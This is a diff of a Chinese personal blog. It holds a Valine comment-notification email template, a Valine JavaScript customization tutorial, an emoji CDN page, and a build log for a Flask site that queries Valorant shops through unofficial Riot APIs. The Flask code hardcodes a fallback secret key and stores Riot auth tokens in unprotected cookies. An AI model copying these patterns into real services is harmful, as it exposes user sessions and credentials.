<style id="blockquoteStyle" type="text/css">
blockquote {
display: none;
}
</style>
</head>

<body tabindex="0" role="listitem">
<div id="content">
<div style="background: white;
width: 95%;
max-width: 800px;
margin: auto auto;
border-radius: 5px;
border:orange 1px solid;
overflow: hidden;
-webkit-box-shadow: 0px 0px 20px 0px rgba(0, 0, 0, 0.12);
box-shadow: 0px 0px 20px 0px rgba(0, 0, 0, 0.18);">
<header style="overflow: hidden;">
<img style="width:100%;z-index: 666;" src="https://ae01.alicdn.com/kf/U5bb04af32be544c4b41206d9a42fcacfd.jpg" />
</header>
<div style="padding: 5px 20px;">
<p style="position: relative;
color: white;
float: left;
z-index: 999;
background: orange;
padding: 5px 30px;
margin: -25px auto 0 ;
box-shadow: 5px 5px 5px rgba(0, 0, 0, 0.30)">
Dear&nbsp;${PARENT_NICK}
</p>
<br />
<center>
<h3>
来自<span style="text-decoration: none;color: orange ">${NICK}</span>的回复
</h3>
</center>
<br />
&nbsp; &nbsp;
<p>
${PARENT_NICK},您在<a style="text-decoration: none;color: orange " target="_blank"
href="${POST_URL}#comments">&nbsp;${SITE_NAME}&nbsp;</a>上曾发表的评论:
</p>
&nbsp; &nbsp;
<center>
${PARENT_COMMENT}
</center>
&nbsp; &nbsp;
<p style="
padding-bottom: 20px;
">
<span style="color: orange;">${NICK}</span> 给您回复啦~~~:
</p>
<p>
<center
style="border-bottom:#ddd 1px solid;border-left:#ddd 1px solid;padding-bottom:20px;background-color:#eee;margin:15px 0px;padding-left:20px;padding-right:20px;border-top:#ddd 1px solid;border-right:#ddd 1px solid;padding-top:20px">
${COMMENT}
</center>
</p>
<br />
<div style="text-align: center;margin-top: 40px;">
<img src="https://ae01.alicdn.com/kf/U0968ee80fd5c4f05a02bdda9709b041eE.png" alt="hr" style="width:100%;
margin:5px auto 5px auto;
display: block;" />
<a style="text-transform: uppercase;
text-decoration: none;
font-size: 14px;
border: 2px solid #6c7575;
color: #2f3333;
padding: 10px;
display: inline-block;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; margin: 10px auto 0; " target="_blank"
href="${POST_URL}#comments">${SITE_NAME}|传送!Biu~</a>
</div>
&nbsp; &nbsp;
<p style="font-size: 12px;text-align: center;color: #999;" id="hitokoto">
欢迎常来做客哦!</p>
<p style="font-size: 12px;text-align: center;color: #999;">© 2020 <a style="text-decoration:none; color:orange" href="${SITE_URL}"> ${SITE_NAME} </p>
</p>
</div>
</div>
</div>

<script>
var _c = document.getElementById("content");
_c.innerHTML = (_c.innerHTML || "")
.replace(/(href|formAction|onclick|javascript)/gi, "__$1")
.replace(/<\/?marquee>/gi, "");
var xhr = new XMLHttpRequest();
xhr.open('get', 'https://v1.hitokoto.cn/?c=e&c=j&c=k');
xhr.onreadystatechange = function () {
if (xhr.readyState === 4) {
var data = JSON.parse(xhr.responseText);
var hitokoto = document.getElementById('hitokoto');
hitokoto.innerText = data.hitokoto;
}
}
xhr.send();
</script>
<style type="text/css">
body {
font-size: 14px;
font-family: arial, verdana, sans-serif;
line-height: 1.666;
padding: 0;
margin: 0;
overflow: auto;
white-space: normal;
word-wrap: break-word;
min-height: 100px;
}
td,
input,
button,
select,
body {
font-family: Helvetica, "Microsoft Yahei", verdana;
}
pre {
white-space: pre-wrap;
white-space: -moz-pre-wrap;
white-space: -pre-wrap;
white-space: -o-pre-wrap;
word-wrap: break-word;
width: 95%;
}
th,
td {
font-family: arial, verdana, sans-serif;
line-height: 1.666;
}
img {
border: 0;
}
header,
footer,
section,
aside,
article,
nav,
hgroup,
figure,
figcaption {
display: block;
}
blockquote {
margin-right: 0px;
}
</style>

<style id="ntes_link_color" type="text/css">
a,
td a {
color: #236da1;
}
</style>
</body>
+ +

因为原来的模板的变量写法不一样,而且变量也多了,我这里已经改成DesertP版本的了,不过博主的邮件模板里面注意修改没有使用变量的地方如GamerNoTitle

+
+ +
+

题外话

最近着手于美化一下博客,想在右边加上一个像火喵那样的基于Gitalk的动态面板,顺带改一下友链界面

+

昨天已经上了强制HTTPS访问啦!就上不了CloudFlare的CDN了,不过没有减速CDN也会快的吧

+
Author: GamerNoTitle
Link: https://bili33.top/posts/Valine-Admin/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
\ No newline at end of file diff --git a/posts/Valine-Customize/index.html b/posts/Valine-Customize/index.html new file mode 100644 index 0000000000..8cd08f02ff --- /dev/null +++ b/posts/Valine-Customize/index.html @@ -0,0 +1,345 @@ +Valine-Customize魔改教程 | GamerNoTitle + + + + + + + + + + + + + + +

Valine-Customize魔改教程

本篇为我的修改思路,如果你想直接使用我修改过后的版本,可以直接将https://github.com/GamerNoTitle/Valine-Magic更新日志中的最新版js链接引入

+

在看本篇之前,请确保:

+
    +
  • 你有一定的代码基础
  • +
  • 你能够看懂Python代码和JavaScript
  • +
  • 你精通Valine的使用
  • +
+

Valine在2020/4/21更新了v1.4.5,支持了自定义表情包,故Valine-Magic将不再提供修改的js,改为提供Valine的表情列表

+
+ +

我们本篇要做的事情有两个

+

①加入自定义表情

+

②判断邮箱为QQ邮箱则显示QQ头像

+

③为修改UI文字提供思路

+

话不多说 让我们开始吧

+
+

加入自定义表情

首先,我们需要获得valine的js文件,这里直接访问Valine的CDN获取https://cdn.jsdelivr.net/npm/valine/dist/Valine.min.js

+

Valine官方JS

+

打开后是一个页面,我们直接全选复制,粘贴到一个新的js文件中

+

温馨提示:因为js中的字符数稍微(手动着重)有点多,所以说如果没有较为强劲的电脑可能无法很快做到文本格式化

+
+ +

首先我们需要修改的是Valine的表情CDN,如果不修改的话,你的表情链接前面会自动加上https://img.t.sinajs.cn/t4/appstyle/expression/ext/normal字段导致表情无法被读取

+

我们直接以//img.t.sinajs.cn作为关键词检索CDN,很快就得到了CDN的位置

+

CDN搜索

+

我们将这里的CDN的内容直接删掉,留空

+

接着我们搜索valine自带的表情标签,而第一个的表情标签是smile,我这里就直接搜索smile,这样可以直接定位到表情列表的头部

+

表情列表搜索

+

接下来,我们需要上传自己的表情,并且按照这个格式制作一个表情列表

+

我个人的做法是:将表情包上传到Github仓库,通过jsdelivr来使用;通过Python脚本遍历当前目录下的所有文件,自动生成表情列表

+

上传就不必说了,直接用Git上传即可

+

生成列表生成脚本我是自己弄了一小段

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import os
path = 'D:\xxx\BQB' # 路径已屏蔽QAQ
def findAllFile(base):
for root, ds, fs in os.walk(base):
for f in fs:
yield f

def main():
base = './'
linklist=[]
num=1
for i in findAllFile(base):
linklist.append('custom{}: "https://cdn.bili33.top/gh/Vikutorika/assets@master/img/BQB/{}",'.format(num,i))
num=num+1
print(str(linklist).replace(',\', \'',', '))
if __name__ == '__main__':
main()
+ +

这里通过os.walk遍历当前目录下的文件,并且将获取到的文件名通过字符串拼接的方式拼在一起,然后存入列表linklist,接着打印的时候将固定的字符串格式,', '给删除掉(因为是list对象,所以打印出来的时候有固定格式),接着就会给我生成表情列表啦!

+

生成表情列表

+

接着将获取到的列表覆盖入Valine的表情列表,保存

+

在自己的网站引入Valine的CDN的时候引入自己的js文件即可

+

接着我们就会看到表情列表里面的自定义表情啦!

+

判断为QQ邮箱将头像设定为QQ头像

+ +

这里我们还是打开刚刚的js文件,直接搜索E.cdn+(0,s.default)(t.get("mail"))+E.params,会给我们定位到一个位置

+

搜索有关字段

+

我们找到下图中我鼠标所在的位置,回车换行

+

换行位置

+

换行以后,加入以下内容

+
1
2
3
4
5
6
7
8
9
var qq_img = E.cdn+(0,s.default)(t.get("mail"))+E.params;
if (t.get("mail").indexOf("@qq.com") >= 0) {
var prefix = t.get("mail").replace(/@.*/, "");//前缀
var pattern = /^\d+$/g; //正则表达式
var result = prefix.match(pattern);//match 是匹配的意思
if (result !== null) {
qq_img = "//q1.qlogo.cn/g?b=qq&nk=" + prefix + "&s=100";
}
}
+ +

然后回到我们刚刚搜索的地方,从'<img处开始,到后面的第一个>'修改为以下内容

+
1
'<img class="vimg" src="'+(qq_img)+'">'
+ +

保存即可,然后引入刚刚我们修改的JS,在评论时邮箱填入QQ邮箱,看看是不是有QQ头像了?

+

修改UI文字

我们修改UI文字其实非常简单,要修改的东西也是在这个js文件里面

+

我们随便搜索一个按钮显示的文字,我们就会发现,附近都是我们要修改的文字

+

搜索有关字段

+

我们只需要对这些文字进行修改即可,修改成啥样嘛?就看你自己啦!

+
+

题外话

啦啦啦!终于引入B站表情包啦!

+

新建了一个Github项目在这https://github.com/GamerNoTitle/Valine-Magic

+

以后新的表情包就丢在这里啦!更新日志也写在这里,你可以通过Issue或者PR提交新的表情包

+

有会修改ValineUI的大佬请联系我!我想做分类标签!!!

+

Valine在2020/4/21更新了v1.4.5,支持了自定义表情包,故Valine-Magic将不再提供修改的js,改为提供Valine的表情列表

+
Author: GamerNoTitle
Link: https://bili33.top/posts/Valine-Customize/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
\ No newline at end of file diff --git a/posts/Valine-Magic/index.html b/posts/Valine-Magic/index.html new file mode 100644 index 0000000000..2b68e28dce --- /dev/null +++ b/posts/Valine-Magic/index.html @@ -0,0 +1,468 @@ +Valine-Magic - Valine表情仓库 | GamerNoTitle + + + + + + + + + + + + + + + + +

Valine-Magic - Valine表情仓库

Valine在2020/4/21更新了v1.4.5,支持了自定义表情包,故Valine-Magic将不再提供修改的js,改为提供Valine的表情列表,在使用列表之前,请将你的ValineCDN修改为https://valinecdn.bili33.top/
Star

+
+ +

FOSSA Status

+

访问量(自2020.10.25 11:00:00)

+

+

点击对应的表情名可以直接到达表情列表,请注意:你在使用本仓库内的表情时请将Valine的CDN设置为下面表格中的任意一个

+

已经适配MiniValine#8,有问题请使用issue反馈

+

在线详细情况可以点击issue#6进行查看

+

更新日志

+

你可以提交表情包,请阅读提交的正确方式

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
CDN服务器(点击可看在线状态)CDN链接优势劣势
Githubhttps://valinecdn.bili33.top/链接短,快有CloudFlare的301跳转作为统计,有可能会崩服
Githubhttps://cdn.jsdelivr.net/gh/GamerNoTitle/ValineCDN@master/非常快有可能会崩服
Codinghttps://mirrorcdn.bili33.top/链接短,较快有CloudFlare的301跳转作为统计,Coding服务器总是崩
Codinghttps://gamernotitle.coding.net/p/ValineCDN/d/ValineCDN/git/raw/master/较快Coding服务器总是崩
+

Valine

复制的列表可以直接复制到例如butterfly主题的valine.json内,或者是各种用于放Valine表情配置的地方

+

请注意:如果你想添加多个分类,请记得在每个分类的最后一个表情后面加个,否则Valine无法识别。假设下面这个表情为该系列最后一个表情:

+
1
"hotkey1": "bilibiliHotKey/1.jpg"
+ +

你想在这个表情下面添加其他表情的时候,那么请在这个表情的后面加个,就像下面这样

+
1
"hotkey1": "bilibiliHotKey/1.jpg",
+ +

如果你有新的表情包想要加入,你可以提出issue,或者直接发到admin@bili33.top,并注上你的ID和表情包名字(中文英文都需要)

+

仓库内的那个PY脚本是我提前编写好用来写表情列表的脚本,如果你有需要可以随意取用

+

这里有跟本项目同类型的表情仓库,如果在本仓库未找到你想要的表情包可以到这里找 表情速查

+

MiniValine

直接复制每个分类中的MiniValine所提供的链接(其中https://valinecdn.bili33.top/可以替换为任意CDN链接(见上表)),然后放在emotionUrl里面即可,请注意遵循列表写法,如:

+
1
2
3
4
5
6
7
8
9
10
11
12
13
<body>
<div class="mvcomment"></div>
<script>
new MiniValine({
el: '.mvcomment',
appId: 'appId',
appKey: 'appKey',
placeholder: 'Write a Comment O(∩_∩)O~~',
emotionUrl: ['https://valinecdn.bili33.top/alu','https://valinecdn.bili33.top/bilibiliHotKey']
})
</script>
</body>

+ +

表情分类

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
哔哩哔哩热词系列哔哩哔哩小电视系列哔哩哔哩2233娘系列
阿鲁alu系列メンヘラちゃん(Menhera-chan)系列表情包HONKAI崩坏3 日常篇
HONKAI崩坏3 观星篇HONKAI崩坏3 蜡笔日常篇HONKAI崩坏3 纯色日常篇
HONKAI崩坏3 史丹HONKAI崩坏3 爱酱HONKAI崩坏3 目标!幽兰黛尔
HONKAI崩坏3 芽衣的剑道修行HONKAI崩坏3 2019新年つり目獣耳スタンプ(Sticker of the slant eyes & cat girl)
Arcaea動く!まふまふスタンプ(ねこ)Mafumafu Animation sticker (cat)微博原生表情包
百度贴吧原生表情包Snow Miku雪初音表情包(LINE)うさみみ少女(SWEETIE BUNNY)
小坏坏表情包Yurui-NekoCute-Emoji
Set667MarupConvenience Store Notes2
Coolapk酷安aodamiao嗷大喵lengtu冷兔
QQ官方表情钉钉官方表情小黑盒表情包(包括盒娘和方块)
魔女之旅Majotabi(官方)
+

免责声明

本仓库内所有图片均来源于网络,仅供学习交流使用。若用户违反相关法律法规造成损失,将由用户自行承担,本仓库所有者和PR提交者不承担一切责任!

+

License

FOSSA Status

+
Author: GamerNoTitle
Link: https://bili33.top/posts/Valine-Magic/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
\ No newline at end of file diff --git a/posts/Valorant-Shop-with-API/index.html b/posts/Valorant-Shop-with-API/index.html new file mode 100644 index 0000000000..2501f42289 --- /dev/null +++ b/posts/Valorant-Shop-with-API/index.html @@ -0,0 +1,684 @@ +利用ValorantAPI开发商店查询网站 | GamerNoTitle + + + + + + + + + + + + + + + +

利用ValorantAPI开发商店查询网站

先上链接:https://val.bili33.top/

+

附上可用于参考的文档(在别人的文档上改的,我的文档里附了源文档链接):https://gamernotitle.notion.site/Valorant-API-baffa2069fb848a781664432564e94d0

+
+ +

出现这个Idea是因为最近从Go转瓦去玩了,然后每天商店会刷4个皮肤(玩过瓦的都知道每天8点蹲商店),能实现这个的有很多应用,其中不乏国产的小黑盒、游民星空;Google Play商店上面还有Vshop(因DMCA被暂时下架了),在这些应用中除了Vshop,其他的我用过的都存在一个问题:每天都要重新登陆,就会弄得,很烦。特别是我这种账号开了二次验证的玩家,还要天天跑邮箱收验证码。

+

然后我就去搜了一下拳头的API文档:Riot Developer Portal (riotgames.com),但是并没有发现相关的API(特别是瓦的API需要的APIkey的权限比较高,个人开发者拳头不给这么高的权限)

+

拳头的门槛太高了,搞得我被劝退了一段时间,直到我在网上搜索到了这个Notion文档(我的参考文档是从这里改的):新增模块:UAIOSC-valorant;新增功能:每日商店刷新检测等(使用GitHub上从Valorant客户端扒出来的API) (notion.site)

+

既然有了别人整理出来的文档,那么就着手开始做吧!

+ + +
+

我一人就是一支军队哒!!!!!

+
+

网站框架

因为个人用Python用的比较多(说白了就是其他的不熟,真不熟吧),所以第一反应是用Flask作为网站的引擎去开发。但是在做后端之前,得先把前端的框架大概搭建一下。为了把网站做的好看一点,我就去找模板去了。

+

之前做哔哩CDN的时候,用的是Creative TIM的Argon设计语言(creativetimofficial/argon-design-system),这次我本来想在TemplateMonster上面找的,但是这网站上面的模板那叫一个鱼龙混杂呀,所以我还是找回老东家Creative TIM的设计语言,自己去搭建框架,然后看到Soft UI这一套就挺不错的(毕竟总不可能网站都用一个风格嘛),就拿来用了

+

在大概花了三个小时把网站的前端框架给弄好(第一版只做了首页(登录页)EULA市场页面),然后当天晚上就开始做后端的逻辑

+

登录部分

登录部分我最开始就想的是用轮子(倒不如说整个网站能用轮子的都用轮子),在Ultronxr大佬的文档中提到了三个登录库(最下面那个是大佬自己改了的,第一个是大佬用Java写的,但是404警告):

+
+ +
+

我试了一下底下两个(毕竟能不用Java就不用Java嘛),然后发现很尴尬的事情:登录不上。不知道是不是我的打开方式不对,但是我试了半个小时都是不行,那没办法啦,只能另寻他路

+

我用关键词Riot Auth交友平台上面进行搜索,结果找到了这个仓库:ohlunaaa/Riot-auth (github.com)

+

我先Clone了下来,然后尝试用里面的example.py进行登录,不管是开了2FA(二步验证,下同)还是没开的都能够登上,并且返回access_tokenentitlement_token,然后我就用它了(这里登录用的我朋友的号,不是我的)

+

+

着手把这个轮子改一改,进行亿点点改动,首先登录操作改成一个函数,然后把二步验证也打包成函数,这样输入验证码的时候就调用这个函数就行了,改着改着就给我改成了现在的样子:VSC/RiotLogin.py at master · GamerNoTitle/VSC · GitHub

+

然后在后端,接收前端传来的form数据,构建了一个登录函数

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
@app.route('/api/login', methods=['POST'])
def RiotLogin():
# print(request.form)
username = request.form.get('Username')
password = request.form.get('Password')
# APServer = request.form.get('APServer')
# EUServer = request.form.get('EUServer')
# NAServer = request.form.get('NAServer')
# KRServer = request.form.get('KRServer')
checked_rule = request.form.get('CheckedRule')
checked_eula = request.form.get('CheckedEULA')
if username == '' or password == '' or not checked_eula or not checked_rule:
return render_template('index.html', infoerror=True)
else:
CREDS = username, password
user = Auth(username, password)
if user.auth:
response = make_response(render_template('myMarket.html'))
response.set_cookie('access_token', user.access_token)
response.set_cookie('entitlement_token', user.entitlement)
response.set_cookie('region', user.Region)
response.set_cookie('username', user.Name)
response.set_cookie('tag', user.Tag)
response.set_cookie('logged', '1')
response.status_code = 200
else:
response = make_response(render_template('index.html', loginerror=True))
return response
+ +

你可以发现这里面是有服务器选择的选项接收的,只不过被我注释掉了,其实我一开始以为登录的API需要用户根据自己账号所在地区选择(有的人打美服那就得选NA,同理,打欧服就得选EU,不过国区大部分人是港区、台区、缅甸区啥的,这都属于AP的范围),后来发现在登录的时候会返回地区(见上图),所以就给我注释掉了,后面更是删掉了。

+

至于二步验证,那是后面干的事情,让我们先进入商店获取阶段

+

获取商店

获取商店是一个很麻烦的事情,特别是要对武器啥的进行解析,让我们从获取开始

+

首先根据Ultronxr大佬的文档,有这样的一个API的端点表格(下图)

+

+

表格里面写的很详细,我们用到的API为这个(以亚太服为例) -> https://pd.ap.a.pvp.netstore/v2/storefront/

+

通过初始化一个player对象,来获取玩家的每日商店,并保存到自身的shop变量中,以供后续使用(该版本文件

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
class player:
def __init__(self, access_token: str, entitlement_token: str, region: str, user_id: str):
self.access_token = access_token
self.entitlement = entitlement_token
self.region = region
self.__header = {
'Authorization': f'Bearer {self.access_token}',
'X-Riot-Entitlements-JWT': self.entitlement,
'X-Riot-ClientPlatform': 'ew0KCSJwbGF0Zm9ybVR5cGUiOiAiUEMiLA0KCSJwbGF0Zm9ybU9TIjogIldpbmRvd3MiLA0KCSJwbGF0Zm9ybU9TVmVyc2lvbiI6ICIxMC4wLjE5MDQyLjEuMjU2LjY0Yml0IiwNCgkicGxhdGZvcm1DaGlwc2V0IjogIlVua25vd24iDQp9',
'X-Riot-ClientVersion': 'release-06.07-shipping-16-866145', #requests.get('https://valorant-api.com/v1/version', timeout=30).json()['data']['riotClientVersion'],
'Content-Type': 'application/json'
}
if region == 'ap':
server = apServer
elif region == 'eu':
server = euServer
elif region == 'na':
server = naServer
else:
server = krServer
response = requests.get(f'{server}{store}{user_id}', headers=self.__header, timeout=30)
self.shop = response.json()
if response.status_code == 400 or response.status_code == 404: self.auth = False
else: self.auth = True
+ +

从这个API我们能够获取到很详细的商店数据(见文档,这里不贴了,太长了),其中对我们有用的是SkinsPanelLayoutBonusStore这两个东西,分别对应了每日商店(每天4个皮肤)和黑市(赛季结束前20天的商店,里面有6个皮肤)

+

根据获取到的字典,我们可以提取到皮肤的UUID,例如文档中给的示例紫金狂潮 暴徒的皮肤ID是b9ee2457-481c-6776-3f5b-0ca8e8f90c89,当我使用这个UUID去https://valorant-api.com/查询的时候,根据文档给出的格式https://valorant-api.com/v1/weapons/b9ee2457-481c-6776-3f5b-0ca8e8f90c89访问后发现提示

+
1
2
3
4
{
"status": 404,
"error": "the requested uuid was not found"
}
+ +

然后我就直接访问https://valorant-api.com/v1/weapons/skins,把里面的所有内容扒了下来,做了一个缓存,里面写了所有皮肤名字对应的皮肤UUID(见这里

+

通过自己做的这个缓存作为索引,去Valorant-API网站上调用到这个皮肤的所有信息,然后进行解析,得到这个皮肤的所有等级和炫彩数据,构成一个对象(下面代码是最初版本,该版本文件

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
class weapon:
def __init__(self, uuid: str, cost: int):
self.uuid = uuid
self.cost = cost
self.weapon_id = None
with open('assets/dict/zh_CN.json') as f:
data = json.loads(f.read())
f.close()
self.name = requests.get(f'https://valorant-api.com/v1/weapons/skinlevels/{self.uuid}?language=zh-CN', timeout=30).json()['data']['displayName']
self.uid = data[self.name] # the real series skin uuid for the weapon, not a level uuid
self.data = requests.get(f'https://valorant-api.com/v1/weapons/skins/{self.uid}?language=zh-CN', timeout=30).json()['data']
self.level = self.data['levels'] # Skin Levels
self.chroma = self.data['chromas'] # Skin Chromas
self.base_img = self.data['displayIcon']
+ +

然后直接在主程序里面创建weapon对象的变量,直接调用对象中的数据(该版本文件

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
@app.route('/market', methods=['GET'])
def market():
cookie = request.cookies
access_token = cookie.get('access_token')
entitlement = cookie.get('entitlement_token')
region = cookie.get('region')
userid = cookie.get('user_id')
user = player(access_token, entitlement, region, userid)
if user.auth:
shop = user.shop['SkinsPanelLayout'] # Flite the daily skin
weapon0 = weapon(shop['SingleItemStoreOffers'][0]['OfferID'], shop['SingleItemStoreOffers'][0]["Cost"]["85ad13f7-3d1b-5128-9eb2-7cd8ee0b5741"])
weapon1 = weapon(shop['SingleItemStoreOffers'][1]['OfferID'], shop['SingleItemStoreOffers'][1]["Cost"]["85ad13f7-3d1b-5128-9eb2-7cd8ee0b5741"])
weapon2 = weapon(shop['SingleItemStoreOffers'][2]['OfferID'], shop['SingleItemStoreOffers'][2]["Cost"]["85ad13f7-3d1b-5128-9eb2-7cd8ee0b5741"])
weapon3 = weapon(shop['SingleItemStoreOffers'][3]['OfferID'], shop['SingleItemStoreOffers'][3]["Cost"]["85ad13f7-3d1b-5128-9eb2-7cd8ee0b5741"])
return render_template('myMarket.html', market=True, weapon0={"name": weapon0.name, "cost": weapon0.cost, "img": weapon0.base_img},
weapon1={"name": weapon1.name, "cost": weapon1.cost, "img": weapon1.base_img},
weapon2={"name": weapon2.name, "cost": weapon2.cost, "img": weapon2.base_img},
weapon3={"name": weapon3.name, "cost": weapon3.cost, "img": weapon3.base_img})
else:
response = make_response(redirect('/', 302))
for cookie in request.cookies:
response.delete_cookie(cookie)
return response
+ +

接着再把所有数据返回给jinja2进行渲染,把东西填入表格,然后我就写了好大一堆render_template

+

因为刚好做这个项目的时候夜市是开着的,所以我也把夜市部分给做完了

+
1
2
3
4
return render_template('myMarket.html', market=True, weapon0={"name": weapon0.name, "cost": weapon0.cost, "img": weapon0.base_img}, 
weapon1={"name": weapon1.name, "cost": weapon1.cost, "img": weapon1.base_img},
weapon2={"name": weapon2.name, "cost": weapon2.cost, "img": weapon2.base_img},
weapon3={"name": weapon3.name, "cost": weapon3.cost, "img": weapon3.base_img})
+ +

皮肤缓存

这个缓存不是传统意义上的缓存,是我把所有的皮肤数据扒下来存到文件里当缓存,每30分钟更新一次

+

我是开了一个新的线程去做的这个东西(下面为更新缓存的函数)

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests
import json
import time

sc_link = 'https://valorant-api.com/v1/weapons/skins?language=zh-CN'
tc_link = 'https://valorant-api.com/v1/weapons/skins?language=zh-TW'
jp_link = 'https://valorant-api.com/v1/weapons/skins?language=ja-JP'
en_link = 'https://valorant-api.com/v1/weapons/skins'

Linkmap = [
('zh-CN', sc_link),
('zh-TW', tc_link),
('ja-JP', jp_link),
('en', en_link)
]

def updateCache():
while True:
print('Updating Cache...')
for lang, link in Linkmap:
res = requests.get(link, timeout=30)

dt = {}
for i in res.json()['data']:
dt[i['displayName']] = i['uuid']

with open(f'assets/dict/{lang}.json', 'wt', encoding='utf8') as f:
f.write(json.dumps(dt))

del res, dt # Free RAM
time.sleep(3600) # refresh cache every 1 hr

if __name__ == '__main__':
updateCache()
+ +

下面是我在主程序里面调用新线程

+
1
2
3
4
import _thread
from utils.Cache import updateCache

_thread.start_new_thread(updateCache, ())
+ +

启动信号我是放在flask服务器启动之前,主函数里面,这样就可以启动这个线程,并且每30分钟自动更新一次皮肤的数据缓存

+

更好的图片预览

在弄完电脑端的页面后,我发现图片太小了,而且帮我测试的同志(@Vanilluv)给我提出了这个建议

+

+

我估计他说的是这种(图示为Pixiv的一个浏览器插件 PixivBatchDownloader

+

+

但是但是,我实在想不出什么库可以达到这个效果,我就想到我的Blog的主题hexo-theme-butterfly用的fancybox,可以做到点击查看大图的效果,所以我就想做成这种

+

这个时候,我就开始求助ChatGPT了(因为懒得写html了,写起来真的很烦)

+

+

直接按照它给我的做法,往里面写,不一会就做好了√

+

二步验证

上面说到,一开始的登录部分是不支持二步验证的,但是轮子本身是支持二步验证的。我自己在测试的过程中,一开始如果是点击登录后,然后反弹回去登录页面加多一个验证码框框,让用户输入验证码后再点登陆,发现这样会导致会话终结,也就是说这个时候在拳头那里已经算是一个新的会话了。于是我又去问ChatGPT

+
+

Q: 我想在flask服务器中保存requests的session,该怎么做

+

A: 在 Flask 服务器中,您可以使用 Flask-Session 扩展来保存 requests 的 session。Flask-Session 提供了一个简单的方法来将 Flask 应用程序连接到服务器的会话存储。

+
+

诶,这刚好给了我方向,而且它也给了我代码,我把它给我的代码放进去,小改一下登录部分,不一会就做好了,但是下面坑就来了(等会说,记住GPT给我的建议,下面要考)

+

手机端页面适配

关于手机和电脑的判断,我是通过UA进行判断的

+

电脑端的UI是像下面这样(Edge电脑端)

+
1
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36 Edg/113.0.1774.35
+ +

而手机的像是下面这样(Edge移动端)

+
1
Mozilla/5.0 (Linux; Android 13; M2012K11AC) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36 EdgA/112.0.1722.59
+ +

很明显里面有系统的这个字段,手机会有Android字样,虽然不知道iPhone是咋样的,但是把iPhone字段加入判断准没错,这就是我手机和电脑端的判断依据

+

我一开始的想法是说把表格弄成竖直的样式,就是一个表格,从上到下是名称图片价格这样的顺序,这样想了以后,发现表头是不必要的东西,你想嘛,手机的宽度就那么小,再弄个表头在左边不是显得很多余嘛

+

然后我又去求助《万能的》GPT,GPT跟我说Soft UI这一套是用Bootstrap5制成的,里面有card这一class(就是我们平常见到的卡片式),然后我就直接把我的代码给GPT,它给我生成了card的代码,直接贴进去,SO EASY~

+

第一次踩坑:flask新版本

刚好做手机端适配的那一天我跟我爸出去了,所以我是抱着我的苏菲在外面写的代码,好不容易在codespaces里面调试完成了,git push一下,结果就直接BOOM了,提示如下

+
1
2
3
4
5
6
7
8
9
10
11
127.0.0.1 - - [10/May/2023 16:55:53] "GET / HTTP/1.1" 500 -
Error on request:
Traceback (most recent call last):
File "C:\Users\GamerNoTitle\AppData\Local\Programs\Python\Python310\lib\site-packages\flask\app.py", line 2189, in wsgi_app
ctx.push()
File "C:\Users\GamerNoTitle\AppData\Local\Programs\Python\Python310\lib\site-packages\flask\ctx.py", line 377, in push

self.session = session_interface.open_session(self.app, self.request)
File "C:\Users\GamerNoTitle\AppData\Local\Programs\Python\Python310\lib\site-packages\flask_session\sessions.py", line 329, in open_session
sid = request.cookies.get(app.session_cookie_name)
AttributeError: 'Flask' object has no attribute 'session_cookie_name'
+ +

这一个提示直接给我干懵了,因为我在codespaces里面是调试成功的,就没遇到500的问题,结果部署就出了问题,最最最关键的事情是,我当时没有分masterdev分支,也没有分productiondev分支(指部署上),然后直接让我的服务炸裂,不管谁访问都是500。不过当时我也没有发出去,用的人也就我群里的老朋友们,然后我就在群里发了条消息

+

+

这个时候刚好准备回家了,我就收拾了一下东西,先回家去

+

回到家里,我做的第一件事情就是回滚版本(就是把手机端页面适配先去掉),结果还是给我报一样的错误

+

接着我去问了ChatGPT(这个时候我就要划掉万能这两个字了,完全就是在胡说嘛)

+

+

我就很懵逼,我明明是配置了SECRET_KEY的,怎么还出现这种问题呢,我以为是PaaS平台(Zeabur)没有读入我的环境变量,我当时是这么写的

+
1
app.config['SECRET_KEY'] = 'A7C55959-3577-5F44-44B6-11540853E272' if not os.environ.get('SECRET_KEY') else os.environ.get('SECRET_KEY')
+ +

这里很明显就是说没有读取到SECRET_KEY也有一个缺省值,这样写了以后还是死活打不开,我甚至去问了Zeabur的管理员(真的要给他点赞他真的每次都在解答群友的问题)

+

+

+

+

就是说我写法是没问题的,而且我后来开了个简单的应用试了一下,代码是这样的

+

+

实测这个变量env确实进去了,不过端口没有进去是因为它用了Gunicorn开服务,所以端口不是在这里设置的

+

所以说,不是我代码的问题,应该是其他的原因

+

我重新开了一个Codespaces(为了重新开一个环境),然后按照我之前的配置方法去配置,诶,也出现了这个问题

+

这更加印证了代码不是这个问题的锅,应该是其他的原因

+

后来我去翻flask的文档和flask-session的文档,结果在flask的文档里面找到了这个更新 -> Update 2.3.0

+

+

注意我选定的位置,没错flask 2.3.0更新把session_cookie_name给删掉了,且Flask-Session没有对此进行适配,导致了这个错误

+

于是我赶紧在requirements.txt里面固定了flask的版本

+
1
flask==2.2.4
+ +

